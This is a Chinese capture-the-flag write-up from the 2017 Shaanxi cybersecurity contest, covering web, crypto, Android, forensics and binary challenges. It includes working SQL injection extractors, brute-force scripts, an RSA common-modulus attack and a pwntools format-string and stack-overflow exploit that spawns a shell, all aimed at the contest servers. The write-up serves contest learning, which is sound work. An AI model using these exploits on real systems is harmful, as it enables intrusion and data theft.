前言
为提高大学生的网络安全技术水平,培养大学生的团队协作能力,由陕西省兵工学会主办,西安工业大学承办的“2017年第三届陕西省网络空间安全技术大赛”即将于2017年4月15-16日进行线上初赛,2017年5月13日进行线下总决赛。文章为本次大赛第一名的队伍Mirage的writeup。
web
签到题
直接源代码代码审计,php弱类型 然后第二关 构造
1
|
<?php class a{ var $key; } $b = new a(); $b->key=0; $c=json_encode($b); echo $c; ?>
|
抽抽奖
没有数据传输,因此判断代码在本地。然后在JQuery.js文件里发现JSfuck,解密然后console直接输入getFlag即可
继续抽
直接爆破,脚本如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
import requests
import hashlib
def encode(str):
end = ""
for s in str:
if ord(s)<128:
end+="%x"%(255-(ord(s)+128))
if ord(s)>127:
end+="%x"%(255-(ord(s)-128))
return end
flag = []
for x in range(0,200):
cookies = {'PHPSESSID': '3k2rd4536me3rjsojf473vctd7'}
r = requests.get("http://117.34.111.15:81/token.php",cookies=cookies)
m = hashlib.md5(str(x)).hexdigest()
print x
print "http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m)
s = requests.get("http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m),cookies=cookies)
flag.append(s.text)
print s.text
print set(flag)
|
So easy
代码审计发现 这里没有用escape_string,因此存在注入 可是折腾了好久
1
2
3
4
5
6
7
8
9
10
|
function show($username){
global $conn;
$sql = "select role from `user` where username ='".$username."'";
$res = $conn ->query($sql);
if($res->num_rows>0){
echo "$username is ".$res->fetch_assoc()['role'];
}else{
die("Don't have this user!");
}
}
|
然后通过过滤函数,找到了去年sysclover的一篇Writeup 然后才发现我前段时间遇到过这个操作符构造注入了,可是当时比较忙,没时间做,因此技能点没有get
脚本长这样,虽然丑点,但是能跑出passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# --coding:utf-8-- import requests
url="http://117.34.111.15:89/?action=show"
passwd=""
lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
for i in xrange(1,33):
print i
for p in lists:
param={'username':"-1'=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")='0"}
print requests.post(url,data=param).content
if "admin" in requests.post(url,data=param).content:
passwd=passwd+p
break
print passwd
|
登陆就是flag 登陆这里的admin判断直接用admin%c2这个去绕过,因为刚前段时间看过ph师傅的最近刚写的文章,然后很快就反应过来了
Wrong
随手就出swp文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
3 error_reporting(0);
4 function create_password($pw_length = 10)
5 {
6 $randpwd = "";
7 for ($i = 0; $i < $pw_length; $i++)
8 {
9 $randpwd .= chr(mt_rand(33, 126));
10 }
11 return $randpwd;
12 }
13
14 session_start();
15 mt_srand(time());
16 $pwd=create_password();
17
18 if($pwd==$_GET['pwd'])
19 {
20 if($_SESSION['userLogin']==$_GET['login'])
21 echo "Good job, you get the key";
22 }
23 else
24 {echo "Wrong!";}
|
刚开始丢给队友做,队友做了好久,然后硬是没刚出来。 看了一下,思路大致如下
1
|
$pwd==$_GET['pwd']、$_SESSION['userLogin']==$_GET['login']
|
两个点,第一个可以通过清空cookie,造成NULL==NULL
第二个点则需要本地提前时间生成pwd pwd生成脚本(注:linux时间改成和服务时间一样,时区最好也改了吧,反正我第一次没改时区没有pass)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
1 <?php
2 function create_password($pw_length = 10)
3 {
4 $randpwd = "";
5 for($i=0;$i<$pw_length;$i++)
6 {
7 $randpwd.=chr(mt_rand(33,126));
8 }
9 return $randpwd;
10 }
11 echo date("Y-m-d h:i:sa")."\n";
12 mt_srand(time());
13 $pwd=create_password();
14 echo $pwd;
?>
|
just a test
不知道是谁,在某个地方插了个弹窗。造成XSS的假象,然后打了一中午,发现什么也没有,就很绝望! 后来队友提醒是不是注入,然后在URL里试了一下真的是注入???exm??? 先把脚本放上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
# -*- coding:utf-8 -*-
import requests
import time
flag=""
for j in xrange(1,50):
for i in xrange(33,127):
url="http://117.34.111.15:83/chandni-jewel'%20union%20select%20if((select%20ascii(substr(f1ag,"+str(j)+",1))%20from%20test.`fl@g`%20limit%200,1)="+str(i)+",sleep(0.4),1)%2523"
a=time.time()
requests.get(url)
#print time.time()-a
print '.',
if time.time()-a>4:
print chr(i)
flag=flag+str(chr(j))
break
print flag
#database() 5
#database() test
#table1 fl@g
#column f1ag
#http://117.34.111.15:83/chandni-jewel' union select if((select ascii(substr(f1ag," str(j) ",1)) from test.fl@g limit 0,1)=" str(i) ",sleep(0.4),1)%23
#http://117.34.111.15:83/chandni-jewel'%20union%20select%20if((select%20length(column_name)%20from%20information_schema.columns%20limit 1,1)="+str(i)+",sleep(0.4),1)%2523
|
开始爆Flag始终没有爆出来,又很绝望。 怀疑人生然后把payload放到Bp里结果报错了,才发现表名里有个@,在payload里加个反引号就行了
服务器响应不是很好,跑了很多遍才跑出来flag
admin
这题和逆向狗研究了一晚上,只过了第一关。但是题目还是蛮有意思的
1
|
hint www.tar.gz
|
大致浏览看了下功能
刚开始一直想用hitcon 2015的crypt1的思路去伪造登陆,但是后来发现因为在
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$token = '';
$user = '';
$admin = 0;
if (isset($_COOKIE['token'])&&isset($_COOKIE['sign'])) {
$sign = $_COOKIE['sign'];
$token = $_COOKIE['token'];
$arr = explode('|', token_decrypt($token));
if (count($arr) == 3) {
if (md5(get_indentify().$arr[0]) === $arr[2] && $sign === $arr[2]) {
$user = $arr[0];
$admin = (int)$arr[1];
}
}
}
|
有md5校验,因此第一种想法被pass了
然后逆狗想到可以 构造 $username|$admin|$md5+padding 为用户名注册然后修改cookie即可伪造登录 因为是CFB模式
第二个明文分组的解密只与第一个分组的密文有关,因此可以解出flag的后半段 然而没什么luan用!
比赛结束以后pcat说是压缩包的时间,然后把每个时间都试过去?然而?
Crypto
签到-欢迎来到CSTC2017 10
1
|
ZmxhZ3tXZWlTdW9GeXVfQmllTGFuZ30=
|
签到题, base64 解密,flag : flag{WeiSuoFyu_BieLang}
crypt2 200
通过流量包的分析可以发现有两个人在用相同的N不同的E,发送给服务器,然后返回一段密文
这个时候就公用了一个N,可以使用RSA的共模攻击来解决这个问题。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
python
e1 = 3
n1 = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
c1 = 15839981826811799772634108807452583389456749354145216574984222938829756753294086924872110969732766251541785740757693788214686206806750788561292837339359061701208001297802597
e2 =7
n2 = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
c2 = 155249880144094802834481749928592059461139577288355397447367776112547796231086359709731959934830872744121046740255722326833958323017063249153808715277882003426237167195613685868065416967276090907468102632169601247074603247233477582113388294508579159856963458656960060635516531998836585340648309492666005454968
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
print s
n=n1
if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print hex(m)[2:-1].decode('hex')
跑出来flag为 flag{Hc0mm0nModulusR$AH}
|
Mobile
拯救鲁班七号 100
先将lib文件导下来,然后用IDA来分析,是将明文经过一系列的替换,然后再与一个字符串进行比对
这里有一个__android_log_print 帮助我们分析了,我在动态调试里直接使用logcat 输出转换后的格式,然后相对应替换一下位置就可以了。
需要替换位置的 flag为 S!@#@1FD23154A34
最后flag : flag{!@#@ASDF34511234}
The Marauder's Map 150
用jeb反编译之后 可以看到三串base64
1
2
3
4
|
"dGVzdA==" test
"WWVhaH4h";Yeah~!
"dXNlcnM="; users
"Mg=="; 2
|
还有是对数据库进行了一系列的操作,所以就将数据库文明件test导出。
使用了 SQLite format 3的数据库格式。 分析之后在这个数据库里可以找到几个表名和字段
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
CREATE TABLE `sqlitebrowser_rename_column_new_table` (
`userid` TEXT,
`age` int,
`birthday` TEXT,
`id` INTEGER
)
CREATE TABLE `users1` (
`userid` TEXT,
`age` INTEGER,
`birthday` TEXT,
`id` INTEGER
)
CREATE TABLE "users" (
`userid` TEXT,
`age` int,
`birthday` TEXT,
`id` INTEGER
)
|
接下来使用python 脚本提取数据库
1
2
3
4
5
6
|
import shutil
import sqlite3
conn = sqlite3.connect('test')
for row in conn.execute('select userid, age, birthday,id from users'):
print row
conn.close()
|
提取两个表都使用相同的办法,然后就是解密这个birthday字段了。
1
2
3
4
5
6
7
8
9
10
11
12
|
(u'zhangsan', 21, u'9838e8884968b968c998e838c9a89838e88829', 1)
(u'lisi', 20, u'9838e888496bfda98afdbb98a9b9a9d9cdfa29', 2)
(u'wangwu', 20, u'9838e88849c908780889b8086908a998a8a83829', 3)
(u'maybe', 23, u'9838e88849897808fcc8e818fcb9a8383829', 4)
(u'how', 23, u'9838e8884968b98cc9fce8c9fcc838a8e8d929', 5)
(u'manual', 22, u'9838e88849e8c9fcc8d969c9b9e83829', 6)
(u'how', 24, u'9838e888496a8c28fc1808b9fc28a8c9c968188829', 1)
(u"I've", 23, u'9838e8884918a8a8b8fc6908a9d9fcd838a8c9c968188829', 2)
(u'been', 22, u'9838e88849b908fc386899a8fc98d9a8a829', 3)
(u'wasting', 22, u'9838e88849b808fc68b9fc9808d9fc28a829', 4)
(u'my', 21, u'9838e888496afcc9a818c9a8fc68b929', 5)
(u'time', 18, u'9838e888496afc28a8e818b9fc68b929', 6)
|
birthday地方经过了加密
具体的算法在lib.so里,算法也不复杂,就是简单的将已经字符变成了俩字符。
然后写了一个c语言的脚本来暴力跑,可以发现id是2的一个是正确解
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#include<stdio.h>
#include<string.h>
int change(int a1)
{
int v1; // r3@3
if ( a1 > 9 || a1 < 0 )
{
if ( a1 <= 9 || a1 > 15 )
v1 = 255;
else
v1 = (unsigned __int8)(a1 + 'W');
}
else
{
v1 = (unsigned __int8)(a1 + '0');
}
return v1;
}
int main(){
char flag[]={"9838e888496bfda98afdbb98a9b9a9d9cdfa29"};
for(int j=0;j<strlen(flag);j+=2){
for(int i=0;i<255;i++){
if(change(~i&0xf)==flag[j]&&change((i>>4)^0xe)==flag[j+1]){
printf("%c",i);
}
}
}
return 0;
}
|
flag : flag{Y0uG0Tfutur3@}
取证密码 200
这一道android也是比较简单的。虽然是有加载库的,但是完全没难度呀
简单分析一下他的流程就是
1
2
3
4
5
6
7
8
|
#include<stdio.h>
int main(){
char arr[]={"yInS567!bcNOUV8vwCDefXYZadoPQRGx13ghTpqrsHklm2EFtuJKLzMijAB094W"};
char index[]={0x39,0x20,7,0xA,0x20,0x29,0x13,2,0x3A,0xC,0x11,0x31,0x3B,0xB,7};
for(int i=0;i<15;i++){
printf("%c",arr[index[i]]);
}
}
|
如果使用一下动态调试更是分分钟出结果。
flag: flag{A1!N1HenBUCu0O!}
人民的名义-抓捕赵德汉1 200
刚开始看到100分的题目都吓死,出现这个题目的时候真的感觉很简单。
看到有一个md5字符串,直接试了一下没想到就轻松的过了。
flag: flag{monkey99}
人民的名义-抓捕赵德汉2 200
相当于jar的逆向,这个题目恶心的地方就是去加混淆了
具体的算法其实不是很复杂,这里比较重要,但是这里有一个难点就是重写了arraycopy,这里调用了start的main函数。。我在这里去了一下混淆,勉强很够的到字符串,然后经过 ((c>>1)+15) 之后的字符串,这里解密出来为 "JsnatterrtJuaththovacke"
写个一个java脚本跑了一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
java
public class test {
//static String arr1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
//static String arr2 = "ZYXWVUTSRQPONMLKJIHGFEDCBA";
public static void main(String args[]){
String arr1 = "JsnatterrtJuaththovacke";
for(int i=0;i<19;i++){
if(i==4||i==9||i==14||i==19){
System.out.print('-');
}else{
System.out.print(arr1.charAt(check(i,arr1)));
}
}
}
public static int check(int i,String arg){
return te(i)%arg.length();
}
public static int te(int i){
if(i>2){
return te(i-1)+te(i-2);
}
return 1;
}
}
|
最后得到flag : flag{sssn-trtk-tcea-akJr}
MISC
一维码 100
给了一个条形码文件,用扫码工具扫一下得到 keyword:hydan
一看这个条形码文件巨大,有500多K,肯定有诈,用stegslove打开
选中最低位,在lsb下有ELF文件头,果断保存了这个bin文件,逆向分析了一波,,什么都没有。
这个文件是就是一个tar工具。
然后想到是使用hydan,百度了一下hydan,第一条就是。
乾坤 125
一个流量包文件,直接丢进wireshark分析一波,发现大多是http协议的流量,在 "文件 -> 导出对象" 选择HTTP,查看其传输内容,发现有两个通过邮箱传输的压缩文件。
点进去查看下,发现是文件名都为flag.zip,但是大小不同的文件。把他们都解压一遍,得到“encode.py”、“flag.exe”两个文件,用winhex查看flag.exe,在其末尾发现编码字符,接下来就是写出对应的解码脚本。脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
python
from base64 import b64decode
def decode(a):
a = list(a)
for j in range(0,len(a)):
if a[j]=='*':
a[j]='W'
for k in range(0,len(a)):
if a[k]=='_':
a[k]='1'
a.reverse()
flag_1=''.join(a)
for i in range(0,25):
flag_1=b64decode(flag_1)
print flag_1
with open("plaint.txt","r") as f:
decode(f.read())
|
轨迹 150
记得X-NUCA的misc专场出过USB的流量分析题
http://bobao.360.cn/learning/detail/3351.html
tshark.exe -r trace.io -T fields -e usb.capdata > usbdata.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
01:00:00:00:ff:ff:00:00
01:00:00:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:02:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:02:00:00:00
|
跑出来这样的数据。
第一位没什么用,第二位是0代表没有按键,1代表鼠标左击,2代表鼠标右击。
第三第四位 合起来 像word字节,代表水平方向负数、正数代表左右移。
第五第六位 合起来 代表垂直方向上下移动。
直接使用脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
nums = []
keys = open('usbdata.txt','r')
out = open('data.txt','w')
posx = 60
posy = 10
for line in keys:
# if len(line) != 12 :
# continue
x = int(line[6:8],16)
y = int(line[12:14],16)
# print x,y
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[3:5],16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 1 :
out.write( "%d %d\n"%(posx ,posy))
keys.close()
out.close()
|
得到坐标之后
再到kali用 gnuplot 来画图,
flag{stego_xatu@}
种棵树吧 100
第一个图片后面连接了一个zip。
解压出一个gif但是少了一点文件头,添加GIF89文件头。然后可以看到一张图片。
第二张图直接看属性
就得到 Post-order{YR!eVa-gLAoxdj{pw}8zkUnGuIHh:r65f2lFsEi} In-order{RY!heHVaL-goAI{dxjGpnUw8}kzuEr:s56fFl2i}
1
|
hi! HERe Is Your FLAG :flag{n52V-jpU6d_kx8zw}
|
接下来按照层序排列可以得到flag:flag{n52V-jpU6d_kx8zw}
我们的秘密 250
这一题比较复杂。
先用二进制查看器看了一下压缩包的结构,发现有很多个readme.txt
然后将最底层的一个readme.zip抠出来,试了一下伪加密,是可以过的。
里面是"为提高大学生的网络安全技术水平,培养大学生的团队协作能力,由陕西省兵工学会主办,西安工业大学承办的“2017年第三届陕西省网络空间安全技术大赛”即将于2017年4月15-16日进行线上初赛,2017年5月13日进行线下总决赛。"
然后前面一个zip是真加密,这里我想到了使用zip的明文攻击
跑了我一个多小时才跑出来,,,电脑太差劲了。
跑出来是 3xatu2o17
解压出三个文件,然后wav的是莫斯电码 解出来是,CTFSECWAR2017
试了一下提交flag然后没过
接下来想到还有一个mp4然后用各种工具去尝试,加密密钥为CTFSECWAR2017。在使用到 OurSecret的时候,结果正确了得到flag
flag{v1de0c0nc3a1lala}
什么玩意
这一题初看是一个蓝牙的pin码破解,在github上找到了脚本,BTcrack
《无线网络安全攻防实战进阶》杨哲 写的这一本书中也包含了这一个的讲解。
而且网上也找到了相同的题目文件。
同时也获得了 link key 。但是第一个文件 只有数字,,没有这方面的知识完全不会做。。只能够做到这一层了。
真的是什么玩意儿!
Bin
Now you see me 200
这个题目我想要打人了。。出题人这样就没有意思了。
在exe的属性里面,放了flag的前半段。就是
解密出来为 flag{root@mail:
在ida中首先找到了字符串,就是 Verification code:
然后可以使用 OD去跟踪这一部分的代码了。
具体的加密函数为sub_402640。
是使用 有这样的操作,输入的长度为9. 应该都是要输入数字。
然后分成三组,每一组记作a1,a2,a3
1
2
3
|
(a1+a2)*2-a1 == cmp1
(a2*3)-a2 ==cmp2
(a2*5+a3*2)-a3 == cmp3
|
比对的数组为 0x0b 0x06 0x15 0x0b 0x04 0x0e 0x16 0x10 0x31
写了一个简单脚本暴力了一下,轻松得到flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
cpp
#include<stdio.h>
#include<string.h>
int main(){
char flag[]={0x0b ,0x06 ,0x15 ,0x0b ,0x04 ,0x0e ,0x16 ,0x10 ,0x31};
for(int i=0;i<16;i++){
for(int j=0;j<16;j++){
for(int z=0;z<16;z++){
if(((i+j)*2-i==flag[6])&&(j*3-j==flag[7])&&(j*5+z*2-z)==flag[8]){
printf("%d %d %d\n",i,j,z);
}
}
}
}
}
|
得到536 724 689
所以 flag{root@mail:0IdWan9}
Magical Box 200
首先看了下防护机制
然后在IDA中可以看到一个相当明显的格式化字符串漏洞
got表无法修改,但是在栈空间中可以找到canary的值,以及___libc _ start _main函数地址
同时对输入的用户名进行了一步异或操作后进行验证
已经已知了s2,动态调试出了用户名为admin2017c,继续跟下去后发现一个栈溢出漏洞
写完EXP后本地能过远程过不了,猜测是__lib_start_main函数的本地偏移与远程不同采取爆破的办法出了flag
附上exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
python
from pwn import *
#context(log_level="debug")
#p = process("./pwn_box")
#libc = ELF('libc.so.6')
libc = ELF('libc.so.6_pwnbox')
elf = ELF('pwn_box')
puts_got = 0x0804b030
printf_got = 0x0804b010
def launch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0],"b *0x08048A11\nc")
#launch_gdb()
for x in range(240,0xff):
try:
print x
p = remote('117.34.80.134',7777)
#p = remote('127.0.0.1',10001)
p.recvuntil("?\n")
p.sendline("%7$x")
p.recvuntil("!")
canary = int('0x'+p.recv(8),16)
#print hex(canary)
p.recvuntil("?\n")
p.sendline("%43$x")
p.recvuntil("!")
libc_start_main_addr = int('0x'+p.recv(8),16)-x
#print hex(libc_start_main_addr)
plt = libc.symbols['__libc_start_main']
system_addr = libc_start_main_addr- (plt - libc.symbols['system'])
binsh_addr = libc_start_main_addr- (plt - next(libc.search('/bin/sh')))
#print hex(system_addr)
#print hex(binsh_addr)
p.recvuntil("?\n")
p.sendline("admin2017c")
p.recvuntil(".\n\n")
p.sendline('add')
p.recvuntil(": ")
p.sendline("20")
p.recvuntil(": ")
p.sendline("a")
p.recvuntil(": ")
payload = 'a'*30 + p32(canary)+'b'*0xc+p32(system_addr)+p32(0)+p32(binsh_addr)
p.sendline(payload)
p.interactive()
except:
p.close()
continue
#x=243
|